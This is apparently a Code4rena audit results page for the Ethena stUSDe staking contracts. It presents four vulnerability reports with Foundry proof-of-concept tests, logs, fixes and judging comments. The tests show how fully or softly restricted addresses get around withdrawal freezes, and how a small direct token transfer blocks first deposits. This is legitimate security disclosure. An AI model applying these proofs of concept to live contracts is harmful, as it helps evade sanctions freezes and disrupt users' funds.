Platform: Code4rena
Start Date: 24/10/2023
Pot Size: $36,500 USDC
Total HM: 4
Participants: 147
Period: 6 days
Judge: 0xDjango
Id: 299
League: ETH
Rank: 9/147
Findings: 4
Award: $805.88
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: josephdara
Also found by: 0xAadi, 0xmystery, 0xpiken, Arz, Beosin, Eeyore, HChang26, J4X, KIntern_NA, Limbooo, RamenPeople, SpicyMeatball, Team_Rocket, Yanchuan, castle_chain, degensec, ge6a, lanrebayode77, mert_eren, sorrynotsorry, tnquanghuy0512
119.1406 USDC - $119.14
According to Ethena's design, due to legal requirements, there's a FULL_RESTRCITED_STAKER_ROLE, which is for sanction/stolen funds, or if Ethena gets a request from law enforcement to freeze funds. Addresses fully restricted cannot transfer, stake, or unstake.
When a user withdraws funds, the _withdraw
function is called. This function checks that the caller
and the receiver
cannot have the FULL_RESTRICTED_STAKER_ROLE role. However, in the function redeem(uint256 shares, address receiver, address owner) public virtual override returns (uint256)
, the caller
is just the executor, and the actual stUSDe belongs to the owner
. If the owner
has the FULL_RESTRICTED_STAKER_ROLE role, they can simply initiate a redeem transaction using another account to withdraw funds.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { >> if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }
Below is a test scenario: user1
has the FULL_RESTRICTED_STAKER_ROLE role, hence cannot withdraw funds. However, they delegate another user, receiver
, to initiate the withdrawal. After the withdrawal is completed, receive
r transfers USDe to user1
.
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_FullRestrictedRedeem() public { vm.prank(user1); uint256 shares = stakedUSDe.deposit(1e18, user1); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(user1)); stakedUSDe.grantRole(keccak256("FULL_RESTRICTED_STAKER_ROLE"), user1); vm.prank(user1); stakedUSDe.approve(receiver, shares); vm.startPrank(receiver); uint256 assets = stakedUSDe.redeem(shares, receiver, user1); usde.transfer(user1, assets); vm.stopPrank(); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(user1)); } }
It can be observed that, following the steps outlined in the test case, user1 successfully got USDe.
Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_FullRestrictedRedeem() (gas: 175500) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.09ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
In the _withdraw function, check whether both _owner
and receiver
have the FULL_RESTRICTED_STAKER_ROLE role.
if (hasRole(FULL_RESTRICTED_STAKER_ROLE, _owner) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver))
Context
#0 - c4-pre-sort
2023-10-31T16:27:54Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T16:28:01Z
raymondfam marked the issue as duplicate of #7
#2 - c4-pre-sort
2023-11-01T19:45:11Z
raymondfam marked the issue as duplicate of #666
#3 - c4-judge
2023-11-14T15:20:56Z
fatherGoose1 changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-11-14T15:21:02Z
fatherGoose1 marked the issue as satisfactory
161.7958 USDC - $161.80
According to Ethena's design, due to legal requirements, there is a SOFT_RESTRICTED_STAKER_ROLE designated for addresses based in countries where Ethena is not permitted to provide yield, such as the USA. Addresses under this category will be soft restricted. They cannot deposit USDe to get stUSDe or withdraw stUSDe for USDe.
However, in the _withdraw
function, there is no check to verify whether the user has the SOFT_RESTRICTED_STAKER_ROLE role. Users are able to withdraw funds without any restrictions.
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }
This is a scenario where user1 starts as a regular user, able to deposit USDe to obtain stUSDe. Subsequently, Ethena designates user1 as having the SOFT_RESTRICTED_STAKER_ROLE. Following this change, user1 attempts to withdraw funds.
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_SoftRestrictedRedeem() public { vm.prank(user1); uint256 shares = stakedUSDe.deposit(1e18, user1); stakedUSDe.grantRole(keccak256("SOFT_RESTRICTED_STAKER_ROLE"), user1); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(user1)); vm.prank(user1); stakedUSDe.redeem(shares, user1, user1); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(user1)); } }
It's evident that even after being marked with the SOFT_RESTRICTED_STAKER_ROLE, user1 is still able to successfully withdraw funds.
Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_SoftRestrictedRedeem() (gas: 128854) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.14ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
Adding a check in the _withdraw
function to disallow withdrawals for users with the SOFT_RESTRICTED_STAKER_ROLE role.
Context
#0 - c4-pre-sort
2023-10-31T16:14:40Z
raymondfam marked the issue as low quality report
#1 - c4-pre-sort
2023-10-31T16:14:47Z
raymondfam marked the issue as sufficient quality report
#2 - c4-pre-sort
2023-10-31T16:14:57Z
raymondfam marked the issue as duplicate of #52
#3 - c4-judge
2023-11-10T21:41:29Z
fatherGoose1 marked the issue as satisfactory
#4 - c4-judge
2023-11-14T17:21:24Z
fatherGoose1 changed the severity to 2 (Med Risk)
🌟 Selected for report: ayden
Also found by: 0xWaitress, Madalad, Yanchuan, cartlex_, ciphermarco, critical-or-high, d3e4, mert_eren, peanuts, pontifex, trachev, twcctop
520.4229 USDC - $520.42
Note: I have submitted another report titled "Unstaking all USDe tokens from the staking pool during the rewarding vesting period can lead to a DoS issue and all rewards permanently locked." which is distinct from this one. This report is about directly transferring tokens to the staking pool, whereas that report addresses how rewards should be distributed. Even if the issue in this report is fixed, the issue in that report still persists.
According to Ethena's design, StakedUSDe integrates ERC4626. Users invoke the deposit
or mint
functions to deposit USDe tokens into the staking pool. However, as USDe is a standard ERC20 token, users can also call the transfer
function to transfer USDe tokens into the staking pool. This action will cause a Denial of Service (DoS) issue.
Users stake USDe tokens into the staking pool by invoking deposit
or mint
functions. These two function call _deposit
function, and _deposit
function calls the _checkMinShares
function to check the total amount of stUSDe tokens. If it is less than MIN_SHARES
, the user's attempt to stake USDe tokens fails.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L191-L194
>> uint256 private constant MIN_SHARES = 1 ether; function _checkMinShares() internal view { uint256 _totalSupply = totalSupply(); >> if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation(); } function _deposit(address caller, address receiver, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { if (hasRole(SOFT_RESTRICTED_STAKER_ROLE, caller) || hasRole(SOFT_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._deposit(caller, receiver, assets, shares); >> _checkMinShares(); }
If somebody directly transfers some USDe tokens into the staking pool, even just 1$, after the deploying of StakedUSDe, anybody cannot stake USDe tokens into the staking pool. This will result in a Denial of Service (DoS) issue.
The issue is caused by MIN_SHARES
. Let's dig into the first deposit transaction. In this case, the total supply of stUSDe tokens is 0 since no staked USDe now. To satisfy the condition _totalSupply >= MIN_SHARES
, the previewMint(1e18)
function can be used to calculate the amount of USDe tokens the user needs to deposit.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol#L138-L140
function previewMint(uint256 shares) public view virtual override returns (uint256) { return _convertToAssets(shares, Math.Rounding.Up); } function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) { return shares.mulDiv(totalAssets() + 1, totalSupply() + 10 ** _decimalsOffset(), rounding); }
In the above function, the value of shares
is 1e18, the value of _decimalsOffset()
is 0, totalAssets()
is the amount of USDe tokens directly transfer into the staking pool, and totalSupply()
is the quantity of stUSDe tokens. Since no users have staked USDe tokens, the value of totalSupply()
is 0. Therefore, the amount of USDe tokens a user needs to stake is 1e18 * totalAssets()
.
Hence, if a user wants to stake USDe tokens in the staking pool, the required quantity of USDe tokens is equal to 1e18 times the amount of USDe tokens directly transfer into the staking pool
. This can be an extremely large number. For instance, the amount is 1e18 (worth $1). If the user initiate the first deposit transaction, he would need to stake 1e18 * 1e18 = 1e36
USDe tokens, which is 1 quadrillion dollars. Even if the amount is 1e6, the user would need to stake 1e24 USDe tokens, equivalent to 1 million dollars.
This issue arises from the staking pool using the balanceOf
function when calculating totalAssets
, and users can directly call the transfer
function to deposit USDe tokens into the staking pool, thereby altering the value of totalAssets
.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L166-L168
function totalAssets() public view override returns (uint256) { return IERC20(asset()).balanceOf(address(this)) - getUnvestedAmount(); }
Malicious users can always monitor staking pool deploying events, and then quickly deposit a small amount of USDe tokens, causing a DoS (Denial of Service) attack on the staking pool.
In the following test case (1)user1 directly transferred 1e18 USDe tokens into the staking pool. (2)user2 initiated a deposit transaction, with USDe amount 1000000000000000001000000000000000000 - 1, and the transaction was reverted.
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address minter; address user1; address user2; USDe usde; StakedUSDe stakedUSDe; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); user2 = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.startPrank(minter); usde.mint(rewarder, 5e18); usde.mint(user1, 1e37); usde.mint(user2, 1e37); vm.stopPrank(); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); } function test_TransferIntoStakingPoll() public { vm.prank(user1); usde.transfer(address(stakedUSDe), 1e18); vm.startPrank(user2); uint256 assets = stakedUSDe.previewMint(1e18); console.log("assets = %s", assets); usde.approve(address(stakedUSDe), type(uint256).max); stakedUSDe.deposit(assets - 1, user2); vm.stopPrank(); } }
Compiler run successful! Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [FAIL. Reason: MinSharesViolation()] test_TransferIntoStakingPoll() (gas: 156438) Logs: assets = 1000000000000000001000000000000000000 Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.47ms Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/foundry/Ethena.t.sol:EthenaTest [FAIL. Reason: MinSharesViolation()] test_TransferIntoStakingPoll() (gas: 156438) Encountered a total of 1 failing tests, 0 tests succeeded
Foundry
Do not use balanceOf
when calculating USDe tokens staked. Account only for tokens transferred through mint
and deposit
functions by keeping an internal accounting of the balance.
DoS
#0 - c4-pre-sort
2023-11-01T01:02:07Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-01T01:02:19Z
raymondfam marked the issue as duplicate of #32
#2 - c4-judge
2023-11-10T21:00:09Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: 0xmystery
Also found by: 0x11singh99, 0xAadi, 0xAlix2, 0xG0P1, 0xStalin, 0xWaitress, 0x_Scar, 0xhacksmithh, 0xhunter, 0xpiken, Al-Qa-qa, Arz, Avci, Bauchibred, BeliSesir, Breeje, Bughunter101, DarkTower, Eeyore, Fitro, HChang26, Imlazy0ne, J4X, JCK, Kaysoft, Kral01, Madalad, Mike_Bello90, Noro, PASCAL, PENGUN, Proxy, Rickard, Shubham, SovaSlava, Strausses, Team_Rocket, ThreeSigma, Topmark, Udsen, Walter, Yanchuan, Zach_166, ZanyBonzy, adam-idarrha, adeolu, almurhasan, arjun16, ast3ros, asui, ayden, btk, cartlex_, castle_chain, cccz, chainsnake, codynhat, critical-or-high, cryptonue, csanuragjain, deepkin, degensec, dirk_y, erebus, foxb868, ge6a, hunter_w3b, jasonxiale, kkkmmmsk, lanrebayode77, lsaudit, marchev, matrix_0wl, max10afternoon, nuthan2x, oakcobalt, oxchsyston, pavankv, peanuts, pep7siup, pipidu83, pontifex, ptsanev, qpzm, radev_sw, rokinot, rotcivegaf, rvierdiiev, sorrynotsorry, squeaky_cactus, supersizer0x, tnquanghuy0512, twcctop, twicek, young, zhaojie, ziyou-
4.5226 USDC - $4.52
According to Ethena's design, due to legal requirements, there's a FULL_RESTRCITED_STAKER_ROLE, which is for sanction/stolen funds, or if Ethena gets a request from law enforcement to freeze funds. Addresses fully restricted cannot transfer, stake, or unstake.
In the StakedUSDeV2
contract, there is a setting cooldownDuration
. When the value of cooldownDuration
is 0, the withdrawal process follows the same procedure as in the StakedUSDe
contract. Where the _withdraw
function checks the receiver
and requires that the receiver
does not have the FULL_RESTRICTED_STAKER_ROLE
role.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238
function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares) internal override nonReentrant notZero(assets) notZero(shares) { >> if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) { revert OperationNotAllowed(); } super._withdraw(caller, receiver, _owner, assets, shares); _checkMinShares(); }
When the value of cooldownDuration
is not 0, the withdrawal process involves two steps: (1) Users call the cooldownShares
or cooldownAssets
functions to withdraw USDe to the silo. (2) Users can then claim the USDe by calling the unstake
function after the cooldown period has finished.
When users execute the unstake
function, they can specify the address to receive USDe tokens. function unstake(address receiver) external
. However, there is no check here to verify whether the receiver
has the FULL_RESTRICTED_STAKER_ROLE role. Therefore, when the value of cooldownDuration is not 0, it is possible to unstake to a user who has the FULL_RESTRICTED_STAKER_ROLE role.
https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDeV2.sol#L78-L90
function unstake(address receiver) external { UserCooldown storage userCooldown = cooldowns[msg.sender]; uint256 assets = userCooldown.underlyingAmount; if (block.timestamp >= userCooldown.cooldownEnd) { userCooldown.cooldownEnd = 0; userCooldown.underlyingAmount = 0; silo.withdraw(receiver, assets); } else { revert InvalidCooldown(); } }
Below is a test scenario: user1
is a regular user, and receiver
is a user with the FULL_RESTRICTED_STAKER_ROLE role. user1
successfully unstakes and transfers funds to receiver
by executing the deposit
and unstake
functions.
// SPDX-License-Identifier: MIT pragma solidity >=0.8; import {console} from "forge-std/console.sol"; import "forge-std/Test.sol"; import "../../contracts/USDe.sol"; import "../../contracts/StakedUSDe.sol"; import "../../contracts/StakedUSDeV2.sol"; import "../../contracts/EthenaMinting.sol"; import "../../contracts/mock/MockToken.sol"; contract EthenaTest is Test { address admin; address rewarder; address blacklistManager; address user1; address minter; address receiver; USDe usde; StakedUSDe stakedUSDe; StakedUSDeV2 stakedUSDev2; function setUp() public { admin = address(this); rewarder = address(0x10); blacklistManager = address(0x11); user1 = address(0x12); minter = address(0x13); receiver = address(0x14); usde = new USDe(admin); usde.setMinter(minter); vm.prank(minter); usde.mint(user1, 1e18); stakedUSDe = new StakedUSDe(IERC20(address(usde)), rewarder, admin); stakedUSDev2 = new StakedUSDeV2(IERC20(address(usde)), rewarder, admin); vm.startPrank(user1); usde.approve(address(stakedUSDe), type(uint256).max); usde.approve(address(stakedUSDev2), type(uint256).max); vm.stopPrank(); } function test_StakedUSDeV2CooldownShares() public { stakedUSDev2.grantRole(keccak256("FULL_RESTRICTED_STAKER_ROLE"), receiver); vm.startPrank(user1); uint256 shares = stakedUSDev2.deposit(1e18, user1); stakedUSDev2.cooldownShares(shares, user1); skip(90 days); console.log("aaaaaaaaaaaaaaa balance of USDe is %s", usde.balanceOf(receiver)); stakedUSDev2.unstake(receiver); vm.stopPrank(); console.log("bbbbbbbbbbbbbbb balance of USDe is %s", usde.balanceOf(receiver)); } }
Running 1 test for test/foundry/Ethena.t.sol:EthenaTest [PASS] test_StakedUSDeV2CooldownShares() (gas: 213155) Logs: aaaaaaaaaaaaaaa balance of USDe is 0 bbbbbbbbbbbbbbb balance of USDe is 1000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.00ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Foundry
In the unstake
function, check whether receiver
has the FULL_RESTRICTED_STAKER_ROLE role. If receiver
has the FULL_RESTRICTED_STAKER_ROLE role, reject the withdrawal.
if (hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) revert InvalidAddress()
Context
#0 - c4-pre-sort
2023-10-31T16:30:36Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-10-31T16:30:44Z
raymondfam marked the issue as duplicate of #7
#2 - c4-pre-sort
2023-11-01T19:45:12Z
raymondfam marked the issue as duplicate of #666
#3 - c4-judge
2023-11-13T19:33:47Z
fatherGoose1 marked the issue as satisfactory
#4 - c4-judge
2023-11-14T15:20:54Z
fatherGoose1 changed the severity to 2 (Med Risk)
#5 - nianyanchuan
2023-11-16T03:07:39Z
Hi @fatherGoose1, this is not a duplicate of #666. #666 is a vulnerability related to the FULL_RESTRICTED_STAKER_ROLE
depositor, whereas this report addresses a vulnerability regarding the FULL_RESTRICTED_STAKER_ROLE
receiver.
There are two StakedUSDe contracts, StakedUSDe
and StakedUSDeV2
, where StakedUSDeV2
inherits from StakedUSDe
.
When cooldownDuration=0, or StakedUSDe is used, users can call withdraw
or redeem
for withdrawals. In this case, if the owner is not a FULL_RESTRICTED_STAKER_ROLE
, but the receiver is a FULL_RESTRICTED_STAKER_ROLE
, the withdrawal will not succeed.
When cooldownDuration!=0, users can call cooldownAssets
and cooldownShares
for withdrawals. In this scenario, the withdrawal will be successful.
The issue arises because when users call cooldownAssets
or cooldownShares
, StakedUSDeV2 invokes the _withdraw
function, and the recipient's address at this point is the silo, which is not a FULL_RESTRICTED_STAKER_ROLE
. When users call the unstake
function to withdraw from the silo, StakedUSDeV2 does not check the address of the receiver.
Please review my report and PoC one more time. Thanks.
#6 - c4-judge
2023-11-21T21:18:56Z
fatherGoose1 marked the issue as not a duplicate
#7 - c4-judge
2023-11-21T21:20:33Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#8 - c4-judge
2023-11-21T21:20:50Z
fatherGoose1 changed the severity to QA (Quality Assurance)
#9 - c4-judge
2023-11-21T21:20:56Z
fatherGoose1 marked the issue as grade-b
#10 - fatherGoose1
2023-11-21T21:23:43Z
This report shares impact with #430. Per the sponsor in that issue:
It's a good spot however I don't think it warrants a code change - if anything unstake is a bit of a misnomer - if a user has called cooldownAssets or cooldownShares their sUSDe has already been settled for USDe - they are no longer staked - they just need to wait to receive their USDe. Transfers of USDe are fully permissionless by design - note that there is no blacklisting in the USDe.sol. Therefore we are ok with the now blacklisted user being able to get the cooled down USDe
In this report, the blacklisted receiver is able to receive USDe since USDe is not permissioned. Leaving as QA.